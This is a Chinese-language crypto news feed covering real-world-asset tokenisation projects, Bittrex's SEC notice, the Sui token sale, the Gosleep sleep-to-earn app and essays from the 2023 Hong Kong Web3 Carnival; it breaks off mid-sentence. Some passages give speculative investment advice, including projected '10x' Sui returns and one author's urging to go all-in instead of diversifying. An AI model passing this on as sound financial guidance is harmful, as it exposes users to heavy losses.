根据加密研究员 Crypto Koryo 的整理和汇总，目前市面上的 RWA 项目超过 50 个，一些项目的原生代币，例如 $CREDI、$SMT 和 $FACTR 在过去 3 个月内上涨了 10 倍以上。不过，大多数项目还没有推出代币。因此，这一叙事目前还有哪些机会？下面让我们进一步探索。 LABS Group ($LABS) LABS Group 是一个房地产代币化平台，允许房主将自己的房屋代币化以在没有中介的情况下筹集资金，投资者也能通过二级市场接触到其他更高流动性的房地产代币。 此外，LABS Group 还推出了一个 Web3 度假平台 Staynex，使度假村、酒店和别墅能够代币化为 NFT——Staynex 通行证。Staynex 通行证为持有人提供了实用性，不仅可以使他们能够灵活地进行全球旅行，随时住店，还可以从房间租赁中获得收益。 ELYSIA ($ELFI) ELYSIA 是一种将 RWA 代币化的协议，使 RWA 更容易在区块链上变现。用户可以将自己的 RWA 创建为代币，然后在 ELYSIA 的 DeFi 平台 ELYFI 上出售，或作为抵押品借出其他加密资产。 Tangible($TNGBL) Tangible 是一个 RWA 代币化生态系统。通过推出一个由房地产支持的原生收益稳定币 Real USD，为用户提供了接触 RWA 代币化的途径。 在 Tangible 上，任何人都可以使用 Real USD 从世界领先的供应商处购买有价值的实物商品，包括但不限于艺术品、高档葡萄酒、古董、手表、奢侈品。 当用户购买在 Tangible 上列出的 RWA 后，将铸造 TNFT（“Tangible non-fungible token”），代表实物。Tangible 会将实体物品存入实体保险库中，并将 TNFT 发送到买家的钱包。TNFT 可自由转账、交易。 Propy ($PRO) Propy 为买家、卖家、代理人提供了一个基于区块链和智能合约的房地产交易平台，有助于即时交易，减少欺诈。目前，该平台与分布在美国各地的房地产合作伙伴处理了超过 40 亿美元的交易。 Parcl Parcl 是一个专注于房地产的合成资产交易平台，提供了可投资于全球房地产市场的价格走势，用户可以浏览全球房地产市场，并根据他们认为房地产价值的涨跌来做多或做空。 RealT RealT 成立于 2019 年，在此后 3 年多的时间里，该平台已经处理了超过 5200 万美元的房地产代币化，投资者可以简单的购买 RWA 代币。已经有 970 多个房屋在 RealT 平台上代币化，位置分布在美国底特律、克利夫兰、芝加哥、托莱多和佛罗里达等州。 Theopetra Theopetra 及其合作伙伴 T-Homes、REAT 将围绕 $THEO 代币构建一个房地产生态系统，旨在让美国底层人租得起住宅。 EktaChain EktaChain 是一个基于区块链的去中心化房地产交易平台，旨在让每个人更快、更容易地从事房地产业务。该平台允许所有人以低至 100 美元的金额交易房地产。 Mattereum Mattereum 是一个可以将 RWA 代币化为 NFT 的平台，包括奢侈品、艺术品、房地产。每笔 NFT 交易背后都包含有一个简易的法律框架来处理出现的任何争议，并且它适用于 160 多个国家法律。 Robinland Robinland 的使命是为房地产行业搭建一个 TradFi 和 DeFi 之间的桥梁。通过对高质量、可产生租金的商业房地产资产进行代币化，可让其从个人投资者或 MakerDAO 等机构贷方那里获取流动性。 HOME Coin Finance HOME Coin Finance 为投资者提供了通过住房抵押贷款支持的稳定币 $HOME 中获得稳定收益的机会。 二、多资产代币化 Paxos ($PAXG) Paxos 是一个区块链金融基础设施平台，为企业客户提供资产代币化、托管、交易、结算等服务，使任意资产在任何时候都能够实现可信和即时的转移。 虽然美国监管机构在今年 2 月份迫使 Paxos 停止铸造美元稳定币 $BUSD，但该平台仍在推广其黄金锚定币 $PAXG (PAX Gold)。Paxos 早在 2019 年就发行了$PAXG，在此后的三年多里，它已经悄然增长到约 5 亿美元的市值。与代表黄金的 ETF 不同的是，$PAXG 代表了持有者持有着实物黄金，并且可以随时赎回 1:1 的实物黄金。 值得一提的是，Paxos 是融资最多的区块链公司之一，总融资额超过 5 亿美元，主要投资者包括 OakHC/FT、Declaration Partners、Mithril Capital 和 PayPal Ventures。 Tokeny Solutions Tokeny 提供企业级的代币化基础设施，允许企业合规地发行、转移和管理区块链上的资产，使他们能够提高资产流动性。 StrikeX ($STRX) StrikeX 是一个 RWA 代币化生态系统，产品包括： • TradeStrike（RWA 代币中心化交易平台，CEX） • Stock Token Bridge（RWA 代币创建平台） • StrikeX 钱包 • TradeX（RWA 代币去中心化交易平台，DEX） • Xchain（服务于 StrikeX 生态系统的私有区块链） • $STRX（StrikeX 生态系统原生代币） INX ($INX) INX 为 RWA 代币和加密货币提供了一个符合美国 SEC 监管的交易平台。 Curio ($CUR) Curio 是一个 RWA 代币化生态系统，产品包括： • Rollapp（RWA 代币创建平台） •CurioInvest（将限量版汽车代币化，用户可共同投资，分享利润） • $CSC（瑞士法郎稳定币） • CapitalDEX（RWA 代币去中心化交易平台，DEX） • Wrapped Fractional Physical-NFTs（所有权、知识产权代币化） 三、TradFi Polytrade ($TRADE) Polytrade 构建了一个去中心化贸易融资平台，旨在为多个行业的企业提供无缝贷款。 Defactor ($FACTR) Defactor通过将传统融资与 DeFi 联系起来，旨在为企业提供融资机会和流动性。 Sologenic Sologenic 是一个RWA 代币化生态系统，产品包括： • Sologenic Asset Tokenization（RWA 代币中心化交易平台，CEX，将对 40,000 多只股票、ETF 和商品进行代币化） •Sologenic DEX（RWA 代币去中心化交易平台，DEX，也可交易上述代币化资产） •Sologenic NFT 市场 •Sologenic 钱包 ConsolFreight ConsolFreight 是一家专注于航运业数字化转型的区块链平台，提供贸易融资和货物保险服务。 四、Layer-1 Polymesh Network ($POLYX) Polymesh 是专门为 RWA 代币而构建的机构级许可区块链。亮点： •将治理、身份、合规性、机密性纳入区块链的核心。 •所有参与者——无论是代币发行商、投资者、节点运营商，都必须先通过去中心化的 KYC 验证。 • 节点运营商必须是金融实体。 • 原生代币 $POLYX 被瑞士法律归类为实用型代币。（根据瑞士金融监管机构 FINMA 的指导） MANTRAO ($OM) MANTRA Chain 是一个基于 Cosmos SDK 构建的 L1 区块链，旨在成为一个企业之间相互协作的网络，吸引企业、开发人员构建从 NFT、游戏、元宇宙到合规的 DEX 等任何应用程序。 MANTRA Chain 上的第一个 dApp 是 MANTRA Finance，其目标是成为一个全球监管的 DeFi 平台，将 DeFi 的速度和透明度带到不透明的 TradFi 世界，允许用户发行、交易 RWA 代币。 Realio Network ($RIO) Realio Network 是一个可互操作的 L1 区块链，专注于 RWA 代币的发行和管理。 Provenance ($HASH) Provenance 是一个创建于 2018 年，基于 Cosmos SDK 构建的 L1 区块链，旨在使金融机构和金融科技公司能够无缝、安全地发行、交易金融资产代币。 在此后的发展中，该链使 60 多家金融机构、金融科技公司、DeFi 以及银行、信用合作社能够大规模发行、管理和交易金融资产代币。截至 2023 年，Provenance 处理了超过 120 亿美元的金融资产交易。 Intain Intain 是一个专注于融资、信贷的 L1 区块链。 五、气候/ReFi KlimaDAO ($KLIMA) KlimaDAO 为个人和组织提供了通过其基础设施和由真实碳资产支持的 $KLIMA 代币直接参与碳信用市场的机会。 KlimaDAO 旨在解决碳信用市场的关键问题： •流动性不足：碳信用有许多不同的种类；不同的中介，分割碳市场的总流动性。 •不透明 •效率低下 Regen Network ($REGEN) Regen 旨在使用区块链、DeFi 和其他 Web3 工具成为全球可再生生态系统的催化剂。用户通过购买、交易碳信用代币和生态信用，为可再生项目提供资金。 Toucan Protocol ($BCT) 个人、企业可以通过使用 Toucan 的基础设施将碳信用额转化为代币，扩大对地球的保护。 Flow Carbon Flow Carbon 是一个将碳信用额代币化的平台，有助于提高透明度和流动性，帮助扩大碳信用市场。 六、农业 Agro Global Token ($AGRO) Agro Global Token 是一个加密货币，旨在为农业问题提供解决方案并进行大量投资。 LandX Finance ($LNDX) LandX 是一个去中心化协议，旨在缩小农民和投资者之间的距离。 LandX 协议使借款人（农民）和投资者之间达成协议，投资者为农民提供资金来换取土地的部分未来收益，而农民则解决了用于购买新土地、新设备的融资难题。 七、身份 SpruceID SpruceID 是一家专注于去中心化身份和 Web3 身份验证的公司，其开发的身份工具包 SSX 使用户能够在不依赖第三方的情况下管理和控制自己的数字身份。 Quadrata Quadrata 是一个去中心化身份系统，企业和消费者可以通过身份证/护照生成一个数字护照（SBT，不可转移），在隐私保护的基础上无缝访问整个 Web3 dApp 网络。 八、私募股权 Credefi Finance ($CREDI) Credefi 将加密货币投资者与中小企业借款人联系起来，旨在向现实世界企业提供去中心化和安全的贷款，同时为贷方提供与加密市场波动无关的固定收益。 KKR 管理着价值约 4710 亿美元资产的投资巨头 KKR，已将医疗健康支线基金在 Avalanche 区块链上代币化，以增加个人投资者的可及性。大型机构投资者和超高净值个人参与 KKR 基金的门槛要求通常是数百万美元，而个人投资者通过这个“代币化”的支线基金，投资的最低门槛降到了 10 万美金。 九、公共股权 Backed Finance Backed Finance 是一个 RWA 代币交易平台，其中，股票、ETF 等 RWA 被代币化为可跟踪市场价格的ERC-20 代币。代币可在不同钱包间自由转移，并 100% 由 RWA 储备支持。 十、私人固定收益 TrueFi ($TRU) TrueFi 是一个去中心化信贷协议，使机构能够以固定利率获得信贷，从而以资本高效的方式对其业务进行再投资。投资者可以将 USDC/USDT/TUSD/BUSD 选择对应的贷款资金池为其添加流动性，从而放贷生息赚取收益。TrueFi现阶段主要聚焦在向加密原生的交易类投资机构提供稳定币的无抵押借贷服务，未来将逐步探索向公司和个人发放无抵押贷款。 Maple Finance ($MPL) Maple 是一个去中心化信贷协议，为机构提供无抵押贷款。投资者可以作为流动性提供者将资金（$USDC 和 $MPL）存入贷款资金池，为贷款提供资金并赚取收益。 Clearpool ($CPOOL) Clearpool 是一个去中心化信贷协议，为机构提供无抵押贷款。（放贷者只能向他们受邀加入的机构资金池提供流动性） FortunaFi Fortunafi 是一个去中心化信贷协议，为企业提供无抵押贷款，而企业会把每月的生意收入的一定比例作为还款利息。 十一、公共固定收益 Swarm Markets ($SMT) Swarm Markets 为 RWA 代币发行、流动性和交易提供合规的 DeFi 基础设施，并受到德国监管机构的监督。 Ondo Finance ($ONDO) DeFi 协议Ondo Finance 推出了一个基于美国国债和公司债券的代币化基金。 十二、新兴市场 Goldfinch ($GFI) Goldfinch 是一个面向真实世界债务基金和金融科技公司的去中心化信贷协议，目前贷款总额已超过 1 亿美元。投资者可以向贷款公司资金池提供资金，以赚取利息。 Brú Finance Brú Finance 是一个专注于农产品的去中心化信贷协议，农民可以将他们的农业商品代币化，并抵押在链上，以获得贷款，而农业商品则被存放在实体仓库中。由于农产品价格波动仍然很低，因此也很好的保护了借款人和贷款人的利益。 Credix Finance Credix Finance 是一个去中心化信贷协议，专注于为新兴市场提供无抵押贷款。 十三、证券型代币 Centrifuge Centrifuge 是一个链上信贷生态系统，旨在为中小企业主提供一种将其资产抵押在链上并获得流动性的方式。 Centrifuge 于 2017 年推出，并已在其市场上为总计 3.17 亿美元的资产融资。 Securitize Securitize开创了一个完全数字化的一体化平台，用于发行、管理和交易符合现有美国监管框架的数字资产证券。 十四、其他 PropChain ($PROPC) Propchain 是一个基于区块链的房地产代币投资市场，为用户提供了投资全球房地产市场的渠道，以及各种性质、规模、估值的工具。Propchain 解决了房地产投资者在传统市场中遇到的许多问题，该平台不断采购新房产，在尽职调查后上市代币，以确保平台上永远不会缺少投资选择，也保证了房产的安全性和可持续性。 Propchain 允许投资者的投资门槛低至 1000 欧元。所有房产均由 Propchain 的物业管理团队团里，投资者只需从房产中收取租金即可。 Galileo Protocol Galileo Protocol 是一个将 RWA 代币化为 NFT 的平台，NFT 支持多链转移。目前该平台主要提供奢侈品的代币化服务。 LODE LODE 是专注于黄金和白银的代币化市场，它创建了代表了白银的代币 $AGX 和代表了黄金的代币 $AUX，以便于投资者快速投资、交易、转移。黄金和白银实体 100% 被存放在 LODE 的实体金库中。 Project 79 Project 79 是一个专注于黄金、矿业、贵金属仓库、贵金属精炼厂、土地所有权的代币化交易市场。 Homebase Homebase 是一个房地产代币化平台。通过Homebase，用户可以以低至 100 美元的价格投资于产生租金的住宅房地产。 Lingo Lingo 是一个酒店房地产代币化平台，代币持有人不仅可以获得收益，而且也可以根据持有时长，获得世界各地酒店的免费住房机会。 ​ 风险提示： 根据央行等部门发布的《关于进一步防范和处置虚拟货币交易炒作风险的通知》，本文内容仅用于信息分享，不对任何经营与投资行为进行推广与背书，请读者严格遵守所在地区法律法规，不参与任何非法金融行为。  ( 10 min )
    Bittrex曾在上月宣布关闭美国业务前收到SEC“韦尔斯通知”
    PANews 4月17日消息，据华尔街日报报道，美国证券交易委员会（SEC）的执法部门建议SEC以涉嫌违反投资者保护法起诉加密货币交易所Bittrex。 Bittrex总法律顾问David Maria表示，执法部门在3月份向Bittrex通报了SEC可能采取的行动。 SEC在向Bittrex发出的韦尔斯通知（Wells Notice）中表示，Bittrex在未向监管机构注册的情况下作为交易所、经纪自营商和票据交易所开展业务，违反了法律。 此前4月1日消息，Bittrex将于4月30日关闭美国业务，其它地区业务不受影响。  ( 1 min )
    NFTfi赛道全景研究
    NFTFi之夏会来吗？  ( 1 min )
    Sui对标Aptos至少涨10倍？速览如何参与代币销售？
    作者：Crypto Nova 编译：Felix, PANews Sui的代币销售刚刚宣布将在本周进行，这里有你想了解关于Sui的所有信息，以及如何参与SUI代币销售。 Sui是世界上第一个完全由前Facebook开发人员设计的无许可的Layer 1区块链。Sui作为去中心化的PoS区块链，吞吐量和存储能实现横向扩展。 Sui通常与Aptos进行比较，因为这两个项目都是由前Facebook员工创办。此前因Facebook区块链项目夭折，团队成员出走创业，在资本支持下，开发出Sui和Aptos两条区块链。尽管Aptos绝对值得赞扬，但是Sui却被视为高级版本。 这就是为什么事情变得有趣了。从一开始，Aptos就获得了极高的估值，该公司目前的全流通估值为130亿美元，流通市值为23亿美元。明白其中的机会了吗？ Crypto Nova认为Sui在技术方面看起来更好。 既然市场给予Aptos目前如此高的估值，那么Sui也会有极高的估值。该代币具体以0.1美元还是0.03美元的价格出售，取决于用户的资格。在这里做一些计算： SUI的总供应量为100亿美元。这意味着当以0.1美元的价格投资时，其实是以10亿美元的全流通市值进行投资。Aptos的全流通市值为130亿美元，因此在类似的价值下，至少被低估了10倍。以0.03美元的价格购买，意味着以3亿美元的全流通市值进行投资。 第一轮售价0.1美元的有12个月的解锁期，不能一次性全部申领。 第二轮售价0.03美元的代币，从代币发行的第一天起完全解锁。 代币销售将在3个交易所启动： 大多数要求都是相同的。作为举例，将主要讨论在kucoin上进行的代币销售。 （注：交易所采取认购+抽签的销售方式，一般销售的代币价格为0.1美元，个人最大购买数量为1万枚SUI。仅Sui生态系统贡献者可获得第二轮销售。要参加第二轮，须是Sui基金会所列的白名单用户。白名单用户可以以0.03美元的价格购买最多1500枚SUI，主网启动后完全解锁。） 第一轮为0.1美元和12个月解锁的参与资格 Kucoin将统计用户在2023年4月15-22日期间，以下资产的净值： 根据以USDT计算的综合价值，用户有资格获得以下数量的彩票： 每小时会有一次快照，让人们有机会参与代币销售。根据对将资金存放在中心化交易所的信任程度，这些要求非常简单。你可能已经持有这些资产，所以只需将它们转账到kucoin一周。 第二轮0.03美元和完全立即解锁： 此轮仅适用于Sui的早期贡献者，必须是Sui基金会白名单用户。可以点击链接查看资格：https://verifysupporters.sui.io/ Sui已通过电子邮件联系了白名单用户，用户可以使用分配账户的电子邮件地址参与kucoin。Sui与kucoin将一起处理参与资格。 根据与Aptos的估值比较，可以说： 第一轮有10倍的收益，但每月解锁，为期1年 第二轮有30倍的收益，在第一天100%解锁。 显然，第二轮的收益更高更可取。 结论 就像APT一样，SUI在市场上引发了大量炒作和关注。APT从一开始就价值数十亿美元，这意味着在如此高的估值下，任何投资都有很高的利润。但这都是基于今天SUI与Aptoss价值相似的推测。许多人都猜测会有空投，但团队从去年开始就一直公开否认这一点。 “没有空投!” 大多数帖子纯粹是过度参与，给人虚假的希望。这篇文章单纯是Crypto Nova对SUI在市场上销售的客观看法。为那些不知情的人提供数据和见解。这也是基于其竞争对手APT的推测和数据。真实的市场需求可能仍有很大不同。都希望有空投，但只能按照今天的情况采取行动。 相关阅读：Sui公链技术特性分析：为什么适合DeFi项目部署？  ( 2 min )
    浅析“Sleep to Earn”项目Gosleep：产品体验良好，但机制缺乏创新
    作者：nobody(Twitter:@defioasis) 编辑：Colin Wu 近期 Gosleep 因 Launchpad 引发关注，这是一款基于 Arbitrum 链上的 Sleep to earn 应用，并在早先获得了 Foresight Ventures 的 200 万美元融资。受 Arbitrum 空投热钱效应，以及公测奖励激励影响，Gosleep 在社区中热议。 Gosleep 将 GameFi+元宇宙+SocialFi 相结合，希望通过 Sleep to Earn 改善都市人生活方式，同时也让使用者享受睡后收入。当用户第一次进入游戏时，会获得一个免费的房间 NFT——这在游戏里是获取经济收益的必备品。房间是可组合的，用户可以通过床、枕头、地毯等摆件 NFT 定制自己的房间风格，并提高自己的经济收益。NFT 按照稀有度可以分成免费、普通、稀有、史诗和传奇五种，NFT 的稀有程度决定了用户在 Sleep to Earn 中获得奖励的极值。 除了稀有度外，Gosleep NFT 还有耐久度、等级等。每次收集奖励后都会扣除 NFT 的耐久度，当耐久度降到 0 时，NFT 无法使用或无法领取奖励，其中免费获取的 NFT 无法修复耐久度。其次 Gosleep 为 NFT 引入了等级属性，NFT 等级高低会影响三个维度，（1）效率：可以产生游戏产出 Token 数量的基础数；（2）舒适度：可以产生治理 Token 的数量，但只有稀有 NFT 才能发挥作用；（3）幸运值：决定 NFT 升级的概率，通过质押治理 Token 可以提高成功率。等级的高低与三个维度的影响呈正相关。为方便用户们进行交易这些 NFT ，Gosleep 提供了一个内置市场，使用内置市场交易需要缴纳 5% 的费用。 Gosleep 采取的是双 Token 机制，分别为游戏产出 Token NGT 和治理 Token ZZZ，其中 NGT 总量无限，主要用于修复、铸造和购买新的 NFT ; ZZZ 为治理 Token，总量 6 亿，用于升级 NFT、购买高级 NFT、质押获利等。 Gosleep 通过绑定用户移动设备的 Apple Health 或 Google Sleep API 检索用户睡眠数据。根据用户在睡眠期间移动设备的使用情况、环境照明、噪音、设备传感器和其他因素来检测用户的睡眠质量，随后根据用户的入睡潜伏期、清醒次数、总清醒时间、睡眠效率、每个睡眠阶段的时间、睡姿等进一步对用户的睡眠进行评分，而评分将会影响到一晚睡眠后的奖励数量。此外，由于使用可穿戴设备记录会对睡眠记录更加精确，Gosleep 对使用诸如 Apple Watch 的可穿戴设备的用户会给予更多的奖励。 通过经济激励，Gosleep 可以让用户有意识地保障自己的充足睡眠时间。另外，通过对用户睡眠数据的分析，Gosleep 能帮助用户制定个性化睡眠改善方案，如更好的睡眠作息表、相关的睡前心理建议等。 整体来看，Gosleep 在 UI/UX 设计算得上良好，但在经济模型与游戏玩法上并未有进一步创新，本质仍与以前爆火的 Stepn、Axie 等 x-to-earn 游戏无异。x-to-earn 在某种程度上也被看成是链游可持续运营的伪命题，过度依赖于团队的市场营销能力，需要依靠更多的新用户维持项目运行。对于游戏产出 Token 缺乏强用例，在游戏的持续进行中往往会出现持续的抛售压力。另外，在熊市与换皮链游充斥的低迷市场，社区对非能免费游玩的 x-to-earn 经济模式有较强的防范意识，参与此类经济模型项目往往会权衡回本周期与获利预期。当前一个普通级别的房间 NFT 地板价需要 0.08 ETH ，而传奇级别的房间 NFT 则是达到了 0.8 ETH，成本不低。不过，Gosleep 免费 NFT 耐久度不可修复的设定，可以帮助用户体验游戏并计算回本与获利周期，以此决定是否要付费进行深度游玩。 此外，P2E 游戏还有一个较难的困境是作弊问题。Gosleep 亦存在作弊可能性，排行榜机制（排名越高，奖励越多）则可能助推作弊动机。Sleep-to-Earn 最大的难点是，无法保证绑定的设备与用户行为的真实关系，因为其本质是睡眠的测定局限于用户绑定的设备。在 Gosleep 对用户进行睡眠记录时，用户可以继续使用非绑定设备或者进行非电子设备活动，而不是实际进行睡眠。即使是用户使用记录更精确的可穿戴设备，Sleep-to-Earn 参加的个体也可以将该绑定设备交给同一屋檐下的其他成员，而不是由设备绑定者参与。不过，在与跑步等行为进行对比，正常人睡眠的差异没有像运动般有专业与非专业之分，因此依靠睡眠作弊获利的回报相对而言有限，作弊对 Gosleep 项目整体伤害性可能较小。 目前，除了 Gosleep 外，Sleep-to-Earn 赛道还有 Sleepagotchi、Snooze 等一些竞品。通过经济奖励鼓励用户自觉地提升睡眠质量（入睡时间、时长等）也许是一门好的叙事，但如何让用户更专注于睡眠而不是睡后奖励这却是一个难点。Sleep-to-Earn 模型的正外部性，可能还是需要落位于对用户睡眠数据分析后的解决方案，比如对睡眠的专业付费咨询，房间环境和物品的布局，甚至是缓解睡眠障碍的枕头、保健品等的研发。睡眠对大脑至关重要，对睡眠的分析与建议，本质离不开大脑，这需要极高的专业能力，且是一个很长的研究周期，对于绝大多数追求短期经济效应的项目而言，并不可能考虑如此长远。  ( 3 min )
    2023香港Web3嘉年华小作文集合：华人Web3迎来“黄金时代”？
    编者按：2023香港Web3嘉年华于4月15日（上周六）闭幕，活动中涌现出许多值得关注的新项目、新热点、新观点。本文整理了加密圈知名大V及创业者在香港嘉年华中的所闻所悟，供大家阅读。 撰文：香港大会，重新思考3个热门赛道 3、Todd，Nothing Research合伙人 Day3&Day4 in HongKong感想，请关注Todd推特 望北楼倒掉了 ，香港成了币圈的望北港。 Web3 大会很热闹。 这是一个高效的离岸版大陆币圈聚会，虽味道有点怪，但已足够。 香港金融圈说：国内关/香港开，落实一国两制啊。香港年轻人，就比较实在：你们真地相信吗？ 各路神仙假戏真做，还是真戏假作，高潮就好，老祖宗说，难得糊涂。 香港烟火气是回来了。 但web3 填补不了传统金融出逃真空和信任缺位。 中环都换天了，外资被逼到对岸、出海；而Web3 都虚拟、链上，资轻人少，难填这几年30万移民大军的空缺。 这里不是builder的世界，但，是他们找钱的好地方。 香港过去是资金和权力掮客的重要据点。 虽然已望不到北，仍是心系中国的资金方最优运作地。 而今中美对抗，中国短臂拽着，美国长臂管着，这长短之间，香港已无丝毫腾挪之地。 虽然Web3于港府或币圈，都是极好的共造叙事，不落地，其实是最好的姿势。 无论是一国两制还是一国两币，和大部分币圈人是无关的。 既然都去中心化、抗审查、DAO了，还惦记着北上革命的，是不是该放下执念；何处不是家，不必寄托于地缘情节和庙堂施舍。 我觉得，那些出走的香港人和游牧的大陆币圈人可能才有真正的共情。 在岸都不是我们理想的彼岸。 1、关于基金募集:留给VC们做大规模的时间可能只有半年时间 2、为何很多人有“钱比项目多”的感觉:因为大部分TokenFund本质是游资 3、真正的CryptoVenture:以后没有100万美金单笔投资能力别叫Crypto Venture。 4、关于web3创业:做有足够盈利能力的小公司。 5、关于聚会:于里迢迢参会的目的应该是单独约人面谈效率更高 6、关于政策和监管: 香港主要还是Cefi的政策法规，跟很多创业者无关 7、劝大家一定要学好英语 我是个俗人，写不出什么云启东方和long这个long那个之类高大上文字。就自己7天的所见所闻来谈谈自己的感受。 一些General感想： 0.大会是华人的聚会，大家的开心都写在脸上。有人觉得是华人自嗨，我觉得是带来了华人联络感情的绝佳机会。网友面基很开心。 1.同龄人是靠认知和有趣的灵魂吸引的。拉群/单纯有钱/客套两句很难建立长期合作关系。 2.97-03年出生的很多人已经成为非常厉害的builder，Crypto让我们什么都能做，每个人都是超级个体。这在其他行业根本不可能出现。 3.我以前觉得这个行业最需要/吃香的是外向的，愿意展示自己的人。后来发现驱动别人认可你的还是你做过的事，写过的东西，和你是不是有趣。见了几位内向的degen，一个比一个牛逼。。人家都有自己的优质圈子。根本不需要靠发照片/露大腿来获得流量。（当然，发照片也挺好的，我也爱看） 4.这个行业的包容度很高。不管是I还是E，细腻还是大大咧咧，是分析师还是BD还是mkt还是技术还是投资经理还是带资进场，总能找到适合你的位置。而且方法得当足够努力都能过的很好。 关于做分析师： 5.做研究员/分析师依然是一个复杂职业/身份。状态的切换很重要。在做研究的时候要静如处子屏蔽噪音像高考时那样整合信息处理信息形成逻辑，大胆发表观点；在social的时候又要动如脱兔精准出击，大胆展示自己。（结果这次我还是没怎么发照片哈哈哈）在传统金融里，分析师要会舔投资经理，要会cpu实习生，要会舔首席，要会pc，要会把没什么鸟逻辑的东西讲的像是很有逻辑。crypto里，分析师似乎纯粹一些，实力至上。 6.写东西尽可能还是要写非共识的或者可复用的大赛道。大家都知道的/热点也还是要写。这个比例大概非共识小赛道：共识大赛道：热点=1:1:1是一个不错的内容结构。 7.另外，要多给自己上杠杆，做推特，主动链接资源，多多展示自己的成果，减少沟通成本。 8.还是要做英文账号。中英文账号必须隔离。不隔离会有算法问题。中英文会都没有量。 9.推特和TG有你所需要的全部内容。你根本不需要任何其他的软件。 10.写二级不会影响自己拿一级项目。想写什么就写什么，懂什么就写什么，没有优势的地方就不写。合适的人自然会找到你。吸收10%有效的信息就好。 11.多发，写了就发。（我写了三篇ARB，就写了一条推。。。） 关于投资/投机/Degen： 12.Matt：熊市才是普通人的牛市。 13.分散投资是梭哈的人成功了之后写的东西，完全不适合本金不大的人。对于个人来说，看准了就是要重仓，别无他法。三十万美金以下分五笔梭哈（要足够有格局的梭哈，别想着马上就能赚钱，最好交易计划，想清楚买入逻辑，错了就认）就行了，错了大不了再打工，一年/几年赚回来就得了。我真的这么觉得，去你妈的分散投资，赚钱的个人都是梭哈梭出来的。这也是这次旅程和degen交流最大的感受。（做公司/基金不一样） 14.知行合一很难。知行合一的关键是在行，而不是知，因为行了才能知。 15.行的关键是勇气，不是知。 16.干货的定义：能立刻马上让你赚钱/能让你未来长期赚钱的内容可以称为干货。别的都是噪音。 17.最屌的内容都是免费的。但需要你付出时间学习理解。任何要你付费的东西都是在割你。（当然，有些有track record的个人发布的优质信息可以付费获得也很好。） 18.长期头寸和交易头寸需要隔离开。不要放在同一个账户里，手真的会痒。 19.投资/投机最后比拼的很可能是体力和精神状态。不要让自己陷入不好的精神状态，多多运动。 20.在自己管理半径内的钱，尽可能教给自己管。超出自己管理半径的钱再交给别人。把钱给别人管是件不太靠谱的事情。（确实没时间管的，知道人家门牌号的除外。） 上周发生香港的Web3 嘉年华，我虽然没去，但是心向往之，也密切关注其中的新观点、新见解。学到不少，但有一点特别不满意，就是在公开的讨论中没有人去提及一个最为重要的问题：香港 Web3 新政背后的决策逻辑是什么？ 所以我把这个问题提到了推特上，出现了一个史无前例的情况，就是虽然在推上也收到了不少推友的回复，但是很多交流是通过私信和聊天工具发生的，而且还有很多人问我，其他跟你私聊的人表达了什么观点呢？这些交流使我越发觉得这个问题值得翻到台面上谈一下。 不过呢，大家有的顾虑，我也有，所以我在公众号上只发表一个删节版，只包含适合在国内发表的观点。如果有兴趣看全文，请移步我的 Medium专栏。 首先要考虑的是时代背景。 当前世界的总体形势是正在走入一个新冷战阶段，时间 10–30 年，最有可能是 20 年左右。 这是一个烈度不高、存在灰度的冷战。这个新冷战的双方，对于回归合作固然已经不存幻想，但是都忌惮于激烈对抗的后果，从而希望对于对抗烈度进行管控，因此态度是不坚决的，随着时间变化会有很多摇摆和暧昧，出现很大的勾兑空间。 这个新冷战主要的战场发生在科技创新和实体经济上。中国希望凭借实体经济优势向上延展，获得科技创新优势，实现从创新到制造的全供应链自主，而美国希望凭借科技创新优势向下回收制造业关键环节，促使实体经济回流本土，并且在全球重新配置供应链。 美中两国各自存在风险点。因此在一个双方都不够坚决、烈度有限、又各自有弱点和风险点的冷战中，双方势必为彼此保留较大的沟通管道、协调机制、回旋余地和勾兑空间。这种空间越大，为周边经济体、尤其是竞争交界地带的经济体所提供的机遇就越大。 其次是关于当前的技术革命。 美国正在发生新一轮科技革命。这一轮科技革命的核心技术包括：强人工智能、无人驾驶运载工具、机器人、新的人机交互技术（脑机接口等）、量子计算、新一代宇航技术、卫星互联网、生物及基因工程、新能源及新材料。区块链是一种制度型技术，也将在这一轮科技革命中扮演重要角色，但是由于区块链技术本身的开放度高、技术扩散门槛低，因此不是竞争的焦点。 科技革命可能转化为新工业革命。美国当前的技术革命只是初现雏形，多个领域同时出现的技术突破是否能够发生相互的化学作用，激发一场新工业革命，还有待观察。但是如果新工业革命发生在美国，那么当前困扰美国的大多数经济和社会问题将会被一扫而空。 中国将尽全力跟踪科技革命。中国没有输掉科技竞争的选项，因为如果输掉科技竞争，那么之前取得的产业链优势也将荡然无存，因此中国必然要尽一切可能在这场科技革命中保持不落后。美国对此也有清楚的认识，因此已经对中国实施了前沿技术的封锁，力图确保关键技术领域不流入中国、不被中国反超。反过来，中国也必然倾尽全力，力图突破封锁，实现关键技术的超越，至少不能出现断代式的落后。 然后是货币金融方面的一些看法。 当前美元加息回流，在全球的地位确实正在下降。金砖国家提出去美元化，直接原因是美联储加息。 中国在这个时间点上加速人民币国际化，确实能取得事半功倍的效果。 加速人民币国际化的另一个后果，就是中国美元储备下降，港币承压。 经过以上背景的准备，可以讨论正题了。 区块链有四个作用：第一个是作为数字货币和数字资产的基础设施。第二是作为 Web3 的基础设施，创造所有权共享的下一代互联网。第三是在人类与人工智能和平共处的历史阶段，作为人类控制和约束人工智能的工具。第四是在人类、人工智能和机器人共同组成的超大规模分布式网络中进行治理权、能量、算力、数据等重要资源分配的基础设施。因此区块链也是下一代科技革命中的关键技术，是兵家必争之地。 但区块链的竞争主要不是设备、技术、工艺、算法等器物层面上的竞争，而是如何应用区块链这种工具创设新结构、新机制的竞争，是制度创新之争，不是器物创新之争。 数字资产市场难以在大国内发展，但会在大国竞争的交界地带找到温床。就数字货币和数字资产来说，不可否认，经过十年多的发展，在区块链上形成了一个自由的灰色金融市场，这个市场既有超级的创新活力，也是一个欺诈横行、群魔乱舞、价值观错乱的法外之地。在国际竞争的历史时期，竞争中的大国不会容许这样一个灰色金融市场在本国解构和扰乱金融秩序，因此都会倾向于对内严管。但是与此同时，在境外、尤其是竞争的前沿交界地区，存在一个规模有限、影响可控的灰色虚拟经济区域，有利于两个阵营进行一些交流、协调和勾兑，各取所需。 因此，中美竞争的交界地区，将出现活跃的区块链数字经济产业，因此新加坡、香港的 Web3 双城记还将持续上演。两者的共同点是作为法治发达的地区，都不会容忍在本地发展出一个欺诈产业，因此对于 Web3 都会予以规范。某些人期望的滥发 ICO 割韭菜的时代，不会再来。但在“可以做什么”的方面，两城的思路应该会有很大不同。 香港 Web3 